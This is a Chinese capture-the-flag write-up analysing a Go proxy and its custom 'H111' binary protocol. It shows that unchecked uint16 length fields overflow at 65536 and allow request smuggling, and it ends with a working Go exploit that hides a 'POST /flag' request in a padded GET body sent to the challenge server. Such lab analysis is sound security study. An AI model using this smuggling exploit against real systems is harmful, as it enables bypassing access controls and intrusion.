遵循自定义 H111 协议格式走私请求的go-web分析
遵循自定义的 H111 协议格式走私请求的分析
Proxy
先看一下前端的main函数是使用sync.Pool,H111协议存在 pipeline 以及**连接复⽤**
func main() {
pool = sync.Pool{
New: func() interface{} {
for {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("error dialing to backend server")
time.Sleep(time.Millisecond * 300)
continue
}
return conn
}
},
}
http.ListenAndServe(":8081", &proxyHandler{})
}前端有个proxy处理请求后给后端
package main
import (
"fmt"
"io"
h111 "level111111/protocol"
"net"
"net/http"
"sync"
"time"
)
var pool sync.Pool
type proxyHandler struct {
}
func (h *proxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
fmt.Println("Received request", r.Method, r.URL.Path)
if r.Method != "GET" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
conn := pool.Get().(net.Conn)
err := h111.WriteH111Request(conn, r)
if err != nil {
fmt.Println("error writing request")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
resp, err := h111.ReadH111Response(conn)
if err != nil {
fmt.Println("error reading response")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
w.WriteHeader(resp.StatusCode)
for key, values := range resp.Header {
for _, value := range values {
w.Header().Add(key, value)
}
}
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("error reading response body")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
w.Write(bodyBytes)
pool.Put(conn)
}
func main() {
pool = sync.Pool{
New: func() interface{} {
for {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("error dialing to backend server")
time.Sleep(time.Millisecond * 300)
continue
}
return conn
}
},
}
http.ListenAndServe(":8081", &proxyHandler{})
}
H11协议分析
(1)读取方法长度
var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)
binary.Read: 从reader中读取 2 字节(uint16)的数据,并将其解析为方法长度。binary.BigEndian: 指定使用大端序(网络字节序)解析数据。methodLength: 存储方法名称的长度。
(2)读取方法名称
method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}make([]byte, int(methodLength)): 创建一个长度为methodLength的字节数组,用于存储方法名称。io.ReadFull: 从reader中读取methodLength字节的数据,并将其填充到method中。- 错误处理: 如果读取失败,返回自定义错误
ErrReadH111Request和原始错误的组合。
(3)读取 URI 长度
var uriLength uint16
binary.Read(reader, binary.BigEndian, &uriLength)
uriLength: 存储 URI 的长度。
(4)读取 URI
requestURI := make([]byte, int(uriLength))
_, err = io.ReadFull(reader, requestURI)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}requestURI: 创建一个长度为uriLength的字节数组,用于存储 URI。io.ReadFull: 从reader中读取uriLength字节的数据,并将其填充到requestURI中。- 错误处理: 如果读取失败,返回自定义错误
ErrReadH111Request和原始错误的组合。
(5)读取请求头数量
var headerCount uint16
err = binary.Read(reader, binary.BigEndian, &headerCount)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}headerCount: 存储请求头的数量。
协议格式
根据代码逻辑,H111 协议的请求格式如下:
字段 | 长度 | 描述 |
方法长度 | 2字节 | 方法名称的长度 |
方法名称 | N字节 | 方法名称(如 GET、POST) |
URI 长度 | 2字节 | URI 的长度 |
URI | M字节 | URI(如 /path) |
请求头数量 | 2字节 | 请求头的数量 |
请求头 | 变长 | 每个请求头的键值对 |
请求体长度 | 2字节 | 请求体的长度 |
请求体 | K字节 | 请求体数据 |
- 流程:
- 检查请求方法,只允许
GET请求。 - 从连接池获取一个连接。
- 使用
h111.WriteH111Request将 HTTP 请求序列化为H111协议并发送到后端服务器。 - 使用
h111.ReadH111Response从后端服务器读取响应。 - 将响应写回客户端。
- 将连接放回连接池。
具体源码如下:
package protocol
import (
"bytes"
"encoding/binary"
"errors"
"io"
"net/http"
)
var ErrReadH111Request = errors.New("fail to read as H111 request")
var ErrWriteH111Request = errors.New("fail to write as H111 request")
func ReadH111Request(reader io.Reader) (*http.Request, error) {
var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)
method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
var uriLength uint16
binary.Read(reader, binary.BigEndian, &uriLength)
requestURI := make([]byte, int(uriLength))
_, err = io.ReadFull(reader, requestURI)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
var headerCount uint16
err = binary.Read(reader, binary.BigEndian, &headerCount)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
headers := make(map[string][]string)
for i := uint16(0); i < headerCount; i++ {
var keyLength uint16
err = binary.Read(reader, binary.BigEndian, &keyLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
key := make([]byte, keyLength)
_, err = io.ReadFull(reader, key)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
var valueLength uint16
err = binary.Read(reader, binary.BigEndian, &valueLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
value := make([]byte, valueLength)
_, err = io.ReadFull(reader, value)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
headers[string(key)] = append(headers[string(key)], string(value))
}
var bodyLength uint16
err = binary.Read(reader, binary.BigEndian, &bodyLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
body := make([]byte, bodyLength)
_, err = io.ReadFull(reader, body)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
req, err := http.NewRequest(string(method), string(requestURI), bytes.NewReader(body))
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
req.Header = headers
return req, nil
}
func WriteH111Request(writer io.Writer, req *http.Request) error {
methodBytes := []byte(req.Method)
if err := binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(methodBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
pathBytes := []byte(req.RequestURI)
if err := binary.Write(writer, binary.BigEndian, uint16(len(pathBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(pathBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
headerCount := uint16(len(req.Header))
if err := binary.Write(writer, binary.BigEndian, headerCount); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
for key, values := range req.Header {
keyBytes := []byte(key)
if err := binary.Write(writer, binary.BigEndian, uint16(len(keyBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(keyBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
for _, value := range values {
valueBytes := []byte(value)
if err := binary.Write(writer, binary.BigEndian, uint16(len(valueBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(valueBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
}
if req.Body != nil {
body, err := io.ReadAll(req.Body)
if err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(body); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
} else {
if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
return nil
}
代码实现了一个自定义的 HTTP 协议(称为 H111),用于将 HTTP 请求和响应序列化为二进制格式,并从二进制格式反序列化为 HTTP 请求
H111 协议的二进制格式如下:
(1)请求方法
- 长度:2 字节(
uint16),表示方法名的长度。 - 数据:方法名的字节数据。
(2)请求 URI
- 长度:2 字节(
uint16),表示 URI 的长度。 - 数据:URI 的字节数据。
(3)请求头
- 数量:2 字节(
uint16),表示请求头的数量。 - 每个请求头:
- 键长度:2 字节(
uint16),表示键的长度。 - 键数据:键的字节数据。
- 值长度:2 字节(
uint16),表示值的长度。 - 值数据:值的字节数据。
(4)请求体
- 长度:2 字节(
uint16),表示请求体的长度。 - 数据:请求体的字节数据。
| 字段 | 长度 | 描述 |
|---------------|-------|--------------------------|
| 方法长度 | 2字节 | 方法名称的长度 |
| 方法名称 | N字节 | 方法名称(如 GET、POST) |
| URI 长度 | 2字节 | URI 的长度 |
| URI | M字节 | URI(如 /path) |
| 请求头数量 | 2字节 | 请求头的数量 |
| 请求头 | 变长 | 每个请求头的键值对 |
| 请求体长度 | 2字节 | 请求体的长度 |
| 请求体 | K字节 | 请求体数据 |GET请求其实是能携带body的,bodyLength使用的是uint16储存,范围为:
0-65535所有的 Length字段都是uint16并且没有任何溢出检查,所以当⼀个⼤于uint16最⼤值的Length被序列化时会 产⽣整数溢出,改变序列化后的语义。 当 Len 为 65536 的时候,会溢出为0,此时读取⻓度为0的Data,后⾯这段数据会被搁置。
请求走私
通过溢出我们走私请求POST,本地用go写一个请求脚本,运行两次就出了结果
package main
import (
"bytes"
"fmt"
"io"
"net/http"
)
func main() {
expected := []byte{
0x00, 0x04, // method length
0x50, 0x4f, 0x53, 0x54, // method: POST
0x00, 0x05, // URI length
0x2f, 0x66, 0x6c, 0x61, 0x67, // URI: /flag
0x00, 0x00, // header count
0x00, 0x00, // body length
}
padding := make([]byte, 65519) // 65536 - 17 = 65519
body := append(expected)
body = append(body, padding...)
// 创建请求
req, err := http.NewRequest("GET", "http://node1.hgame.vidar.club:30418/", bytes.NewReader(body))
if err != nil {
fmt.Println("error creating request:", err)
return
}
req.Header.Set("Content-Length", fmt.Sprintf("%d", len(body)))
// 发送请求
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("error sending request:", err)
return
}
defer resp.Body.Close()
// 读取响应
respBody, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("error reading response:", err)
return
}
fmt.Println("Response received:", string(respBody))
}
通过get请求,放入满足post格式的请求包,并填充数据满足65536溢出